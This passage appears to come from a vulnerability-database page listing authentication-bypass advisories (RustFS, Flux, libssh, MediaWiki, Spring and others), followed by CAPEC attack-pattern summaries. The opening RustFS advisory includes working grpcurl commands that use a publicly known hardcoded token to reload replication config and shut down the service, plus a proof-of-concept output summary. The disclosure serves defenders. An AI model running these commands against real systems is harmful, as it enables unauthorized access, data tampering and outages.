node_service.NodeService/WriteMetadata\n```\n\n**Impact**: Persistent compromise, further exploitation\n\n#### Scenario 4: Cluster Disruption\n\n```bash\n# Corrupt replication configuration\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{}\u0027 \\\n  localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig\n\n# Force service restart/shutdown\ngrpcurl -plaintext -H \u0027authorization: rustfs rpc\u0027 \\\n  -d \u0027{\"sig\": 2}\u0027 \\\n  localhost:9000 node_service.NodeService/SignalService\n```\n\n**Impact**: Distributed system failure, data inconsistency\n\n---\n\n## Exploitation Preconditions\n\n### Required Conditions\n\n\u2705 **All conditions typically met in production deployments**:\n\n1. **Network Access**: Attacker can reach gRPC port (9000/TCP)\n   - RustFS binds to `0.0.0.0` by default (all interfaces)\n   - Commonly exposed for distributed node communication\n\n2. **Token Knowledge**: Token is publicly known\n   - Available in public GitHub repository\n   - Identical across all RustFS installations\n   - Cannot be changed without code modification\n\n3. **No Additional Security Controls**:\n   - No mTLS/certificate-based authentication\n   - No IP whitelisting (typically)\n   - No VPN/network segmentation requirements\n   - No rate limiting on authentication attempts\n\n### Attack Complexity\n\n**Complexity**: \ud83d\udfe2 **TRIVIAL**\n\n- Single `grpcurl` command with hardcoded token\n- No exploit development required\n- No timing or race conditions\n- No target-specific reconnaissance needed\n- Fully automatable\n- Works against any RustFS instance\n\n**Time to Exploit**: \u003c 1 minute\n\n---\n\n## Security Impact\n\n### Confidentiality Impact: HIGH\n\n- **Complete Data Disclosure**: All stored objects readable via `ReadAll`/`ReadAt`\n- **Credential Exposure**: IAM users, service accounts, policies accessible\n- **Configuration Disclosure**: Server, storage, cluster configuration leaked\n- **Metrics Exposure**: Performance and usage metrics accessible\n\n### Integrity Impact: HIGH\n\n- **Data Modification**: Arbitrary data injection via `WriteAll`/`WriteStream`\n- **Metadata Corruption**: File metadata tampering via `WriteMetadata`\n- **Policy Manipulation**: IAM policies modifiable via `LoadPolicy`\n- **Configuration Changes**: Cluster replication config alterable\n\n### Availability Impact: HIGH\n\n- **Data Destruction**: Buckets/volumes deletable via `DeleteBucket`/`DeleteVolume`\n- **Service Disruption**: Service controllable via `SignalService`\n- **Cluster Degradation**: Replication corruption via `ReloadSiteReplicationConfig`\n- **Resource Exhaustion**: Arbitrary data writes, bucket creation\n\n---\n\n## Compliance \u0026 Regulatory Impact\n\n### Standards Violated\n\n#### PCI-DSS v4.0\n- **Requirement 6.5.3**: Broken authentication\n- **Requirement 8.2**: Strong authentication required\n- **Requirement 8.6**: Multi-factor authentication required\n\n#### OWASP Top 10 2021\n- **A07:2021 - Identification and Authentication Failures**\n  - Use of hard-coded credentials\n  - Missing or ineffective authentication\n\n#### CWE (Common Weakness Enumeration)\n- **CWE-798**: Use of Hard-coded Credentials (Rank: 37/400)\n- **CWE-1391**: Use of Weak Credentials\n- **CWE-287**: Improper Authentication\n\n#### NIST Cybersecurity Framework\n- **PR.AC-1**: Access control mechanisms violated\n- **PR.AC-7**: Authentication mechanisms insufficient\n\n#### SOC 2 Type II\n- **CC6.1**: Logical access controls inadequate\n- **CC6.6**: Credential management controls missing\n\n### Legal \u0026 Business Impact\n\n- **Data Breach Notification**: GDPR Art. 33, CCPA \u00a71798.150\n- **Regulatory Fines**: GDPR up to \u20ac20M or 4% annual revenue\n- **Customer Trust**: Severe reputational damage\n- **Service Disruption**: SLA violations, customer compensation\n- **Incident Response Costs**: Forensics, remediation, legal fees\n\n---\n\n## Proof of Concept\n\n### Automated POC Script\n\n**File**: `audit_analysis/poc_cve_2025_008_grpc_token_working.sh`\n\n**Usage**:\n```bash\nchmod +x poc_cve_2025_008_grpc_token_working.sh\n./poc_cve_2025_008_grpc_token_working.sh [target_host:port]\n```\n\n**Default Target**: `localhost:9000`\n\n### POC Features\n\n1. \u2705 **Baseline Authentication Testing**\n   - Verifies unauthenticated requests are rejected\n   - Verifies incorrect tokens are rejected\n\n2. \u2705 **Exploit Demonstration**\n   - Authenticates using hardcoded token\n   - Calls `Ping` service successfully\n\n3. \u2705 **Sensitive API Access**\n   - Accesses `ServerInfo` (configuration disclosure)\n   - Accesses `DiskInfo` (system information)\n   - Demonstrates authenticated access to management APIs\n\n4. \u2705 **Detailed Reporting**\n   - Displays vulnerable code locations\n   - Lists all affected APIs (50+ methods)\n   - Provides CVSS scoring and impact analysis\n   - Includes remediation recommendations\n\n### POC Output Summary\n\n```\n[PHASE 1] Baseline Testing\n  \u2713 Without token: REJECTED (Unauthenticated)\n  \u2713 With wrong token: REJECTED (Unauthenticated)\n\n[PHASE 2] Exploit\n  \u2713 With hardcoded token \"rustfs rpc\": ACCEPTED \u2705\n\n[PHASE 3] Sensitive API Access\n  \u2713 ServerInfo: SUCCESS - Configuration disclosed\n  \u2713 DiskInfo: SUCCESS - System information accessible\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n## Acknowledgements\n\nWe would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.",
  "id": "GHSA-h956-rh7x-ppgj",
  "modified": "2026-01-07T15:22:21Z",
  "published": "2025-12-30T23:06:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68926"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rustfs/rustfs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.78"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "RustFS has a gRPC Hardcoded Token Authentication Bypass"
}

GHSA-H96Q-V6X9-FVM4

Vulnerability from github – Published: 2022-05-01 07:40 – Updated: 2022-05-01 07:40
VLAI
Details

Multiple unspecified vulnerabilities in the template files in Soumu Workflow for Groupmax 01-00 through 01-01, Soumu Workflow 02-00 through 03-03, and Koukyoumuke Soumu Workflow 01-00 through 01-01 allow remote attackers to bypass authentication mechanisms on web pages via unknown vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2006-6705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-12-23T01:28:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple unspecified vulnerabilities in the template files in Soumu Workflow for Groupmax 01-00 through 01-01, Soumu Workflow 02-00 through 03-03, and Koukyoumuke Soumu Workflow 01-00 through 01-01 allow remote attackers to bypass authentication mechanisms on web pages via unknown vectors.",
  "id": "GHSA-h96q-v6x9-fvm4",
  "modified": "2022-05-01T07:40:41Z",
  "published": "2022-05-01T07:40:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-6705"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/23399"
    },
    {
      "type": "WEB",
      "url": "http://www.hitachi-support.com/security_e/vuls_e/HS06-016_e/01-e.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/5114"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H99C-49QW-QQ9R

Vulnerability from github – Published: 2025-01-11 09:30 – Updated: 2025-01-11 09:30
VLAI
Details

HCL MyXalytics is affected by broken authentication. It allows attackers to compromise keys, passwords, and session tokens, potentially leading to identity theft and system control. This vulnerability arises from poor configuration, logic errors, or software bugs and can affect any application with access control, including databases, network infrastructure, and web applications.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-42172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-11T07:15:08Z",
    "severity": "MODERATE"
  },
  "details": "HCL MyXalytics is affected by broken authentication.  It allows attackers to compromise keys, passwords, and session tokens, potentially leading to identity theft and system control.  This vulnerability arises from poor configuration, logic errors, or software bugs and can affect any application with access control, including databases, network infrastructure, and web applications.",
  "id": "GHSA-h99c-49qw-qq9r",
  "modified": "2025-01-11T09:30:30Z",
  "published": "2025-01-11T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42172"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0118149"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H9CX-XJG6-5V2W

Vulnerability from github – Published: 2026-04-10 20:18 – Updated: 2026-04-10 20:18
VLAI
Summary
Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering
Details

Impact

The gcr Receiver type in Flux notification-controller does not validate the email claim of Google OIDC tokens used for Pub/Sub push authentication. This allows any valid Google-issued token, to authenticate against the Receiver webhook endpoint, triggering unauthorized Flux reconciliations.

Exploitation requires the attacker to know the Receiver's webhook URL. The webhook path is generated as /hook/sha256sum(token+name+namespace), where the token is a random string stored in a Kubernetes Secret. There is no API or endpoint that enumerates webhook URLs. An attacker cannot discover the path without either having access to the cluster and permissions to read the Receiver's .status.webhookPath in the target namespace, or obtaining the URL through other means (e.g. leaked secrets or access to Pub/Sub config).

Upon successful authentication, the controller triggers a reconciliation for all resources listed in the Receiver's .spec.resources. However, the practical impact is limited: Flux reconciliation is idempotent, so if the desired state in the configured sources (Git, OCI, Helm) has not changed, the reconciliation results in a no-op with no effect on cluster state. Additionally, Flux controllers deduplicate reconciliation requests, sending many requests in a short period results in only a single reconciliation being processed.

Patches

The fix in notification-controller v1.8.3 refactors the GCR Receiver authentication to allow users to extend the verification to email and audience claims in the JWT. This enables operators to configure their Receiver's secret with the expected GCP Service Account email and audience, which the controller will validate against the token's claims before accepting the request.

Email validation example:

apiVersion: v1
kind: Secret
metadata:
  name: gcr-webhook-token
  namespace: apps
type: Opaque
stringData:
  token: <random token>
  email: <service-account>@<project>.iam.gserviceaccount.com
  audience: https://<hostname>/hook/<sha256(token+name+namespace)>

For more information, please see the GCR Receiver documentation: https://fluxcd.io/flux/components/notification/receivers/#gcr

Credits

Thanks to Saroj Khadka for reporting this issue to the Flux Security Team.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fluxcd/notification-controller"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:18:16Z",
    "nvd_published_at": "2026-04-09T21:16:12Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nThe `gcr` Receiver type in Flux notification-controller does not validate the `email` claim of Google OIDC tokens used for Pub/Sub push authentication. This allows any valid Google-issued token, to authenticate against the Receiver webhook endpoint, triggering unauthorized Flux reconciliations.\n\nExploitation requires the attacker to know the Receiver\u0027s webhook URL. The webhook path is generated as `/hook/sha256sum(token+name+namespace)`, where the token is a random string stored in a Kubernetes Secret. There is no API or endpoint that enumerates webhook URLs. An attacker cannot discover the path without either having access to the cluster and permissions to read the Receiver\u0027s `.status.webhookPath` in the target namespace, or obtaining the URL through other means (e.g. leaked secrets or access to Pub/Sub config).\n\nUpon successful authentication, the controller triggers a reconciliation for all resources listed in the Receiver\u0027s `.spec.resources`. However, the practical impact is limited: Flux reconciliation is idempotent, so if the desired state in the configured sources (Git, OCI, Helm) has not changed, the reconciliation results in a no-op with no effect on cluster state. Additionally, Flux controllers deduplicate reconciliation requests, sending many requests in a short period results in only a single reconciliation being processed.\n\n### Patches\n\nThe fix in notification-controller v1.8.3 refactors the GCR Receiver authentication to allow users to extend the verification to `email` and `audience` claims in the JWT. This enables operators to configure their Receiver\u0027s secret with the expected GCP Service Account email and audience, which the controller will validate against the token\u0027s claims before accepting the request.\n\nEmail validation example:\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: gcr-webhook-token\n  namespace: apps\ntype: Opaque\nstringData:\n  token: \u003crandom token\u003e\n  email: \u003cservice-account\u003e@\u003cproject\u003e.iam.gserviceaccount.com\n  audience: https://\u003chostname\u003e/hook/\u003csha256(token+name+namespace)\u003e\n```\n\nFor more information, please see the GCR Receiver documentation: https://fluxcd.io/flux/components/notification/receivers/#gcr\n\n\n### Credits\n\nThanks to Saroj Khadka for reporting this issue to the Flux Security Team.",
  "id": "GHSA-h9cx-xjg6-5v2w",
  "modified": "2026-04-10T20:18:16Z",
  "published": "2026-04-10T20:18:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/security/advisories/GHSA-h9cx-xjg6-5v2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/pull/1279"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fluxcd/notification-controller"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluxcd/notification-controller/releases/tag/v1.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering"
}

GHSA-H9J9-33H5-RRMW

Vulnerability from github – Published: 2022-05-17 04:46 – Updated: 2022-05-17 04:46
VLAI
Details

includes/specials/SpecialChangePassword.php in MediaWiki before 1.19.14, 1.20.x and 1.21.x before 1.21.8, and 1.22.x before 1.22.5 does not properly handle a correctly authenticated but unintended login attempt, which makes it easier for remote authenticated users to obtain sensitive information by arranging for a victim to login to the attacker's account, as demonstrated by tracking the victim's activity, related to a "login CSRF" issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-04-20T01:55:00Z",
    "severity": "MODERATE"
  },
  "details": "includes/specials/SpecialChangePassword.php in MediaWiki before 1.19.14, 1.20.x and 1.21.x before 1.21.8, and 1.22.x before 1.22.5 does not properly handle a correctly authenticated but unintended login attempt, which makes it easier for remote authenticated users to obtain sensitive information by arranging for a victim to login to the attacker\u0027s account, as demonstrated by tracking the victim\u0027s activity, related to a \"login CSRF\" issue.",
  "id": "GHSA-h9j9-33h5-rrmw",
  "modified": "2022-05-17T04:46:00Z",
  "published": "2022-05-17T04:46:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2665"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.wikimedia.org/show_bug.cgi?id=62497"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/#/c/121517/1/includes/specials/SpecialChangePassword.php"
    },
    {
      "type": "WEB",
      "url": "http://lists.wikimedia.org/pipermail/mediawiki-announce/2014-March/000145.html"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2014/03/28/1"
    },
    {
      "type": "WEB",
      "url": "http://openwall.com/lists/oss-security/2014/04/01/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H9JQ-9XW6-6CH6

Vulnerability from github – Published: 2022-05-13 01:36 – Updated: 2022-05-13 01:36
VLAI
Details

A vulnerability was discovered in Siemens SiPass integrated (All versions before V2.70) that could allow an attacker with network access to the SiPass integrated server to bypass the authentication mechanism and perform administrative operations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-08T00:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was discovered in Siemens SiPass integrated (All versions before V2.70) that could allow an attacker with network access to the SiPass integrated server to bypass the authentication mechanism and perform administrative operations.",
  "id": "GHSA-h9jq-9xw6-6ch6",
  "modified": "2022-05-13T01:36:04Z",
  "published": "2022-05-13T01:36:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9939"
    },
    {
      "type": "WEB",
      "url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-339433.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99578"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H9JW-G3XJ-5HWG

Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2025-11-03 21:30
VLAI
Details

A vulnerability was found in libssh, where the authentication check of the connecting client can be bypassed in thepki_verify_data_signature function in memory allocation problems. This issue may happen if there is insufficient memory or the memory usage is limited. The problem is caused by the return value rc, which is initialized to SSH_ERROR and later rewritten to save the return value of the function call pki_key_check_hash_compatible. The value of the variable is not changed between this point and the cryptographic verification. Therefore any error between them calls goto error returning SSH_OK.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-26T18:15:13Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in libssh, where the authentication check of the connecting client can be bypassed in the`pki_verify_data_signature` function in memory allocation problems. This issue may happen if there is insufficient memory or the memory usage is limited. The problem is caused by the return value `rc,` which is initialized to SSH_ERROR and later rewritten to save the return value of the function call `pki_key_check_hash_compatible.` The value of the variable is not changed between this point and the cryptographic verification. Therefore any error between them calls `goto error` returning SSH_OK.",
  "id": "GHSA-h9jw-g3xj-5hwg",
  "modified": "2025-11-03T21:30:49Z",
  "published": "2023-05-26T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2283"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2023-2283"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2189736"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/27PD44ALQTZXX7K6JAM3BXBUHYA6DFFN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/27PD44ALQTZXX7K6JAM3BXBUHYA6DFFN"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202312-05"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240201-0005"
    },
    {
      "type": "WEB",
      "url": "https://www.libssh.org/security/advisories/CVE-2023-2283.txt"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/172861/libssh-0.9.6-0.10.4-pki_verify_data_signature-Authorization-Bypass.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Feb/18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H9V6-4CV4-GHHQ

Vulnerability from github – Published: 2026-07-16 12:32 – Updated: 2026-07-16 12:32
VLAI
Details

Authentication bypass by primary weakness vulnerability in Spring Security Spring Authorization Server.

This issue affects Spring Authorization Server: from 7.0.0 through 7.0.4, from 1.5.0 through 1.5.6, from 1.4.0 through 1.4.9, from 1.3.0 through 1.3.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-16T10:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "Authentication bypass by primary weakness vulnerability in Spring Security Spring Authorization Server.\n\nThis issue affects Spring Authorization Server: from 7.0.0 through 7.0.4, from 1.5.0 through 1.5.6, from 1.4.0 through 1.4.9, from 1.3.0 through 1.3.10.",
  "id": "GHSA-h9v6-4cv4-ghhq",
  "modified": "2026-07-16T12:32:28Z",
  "published": "2026-07-16T12:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22752"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22752"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.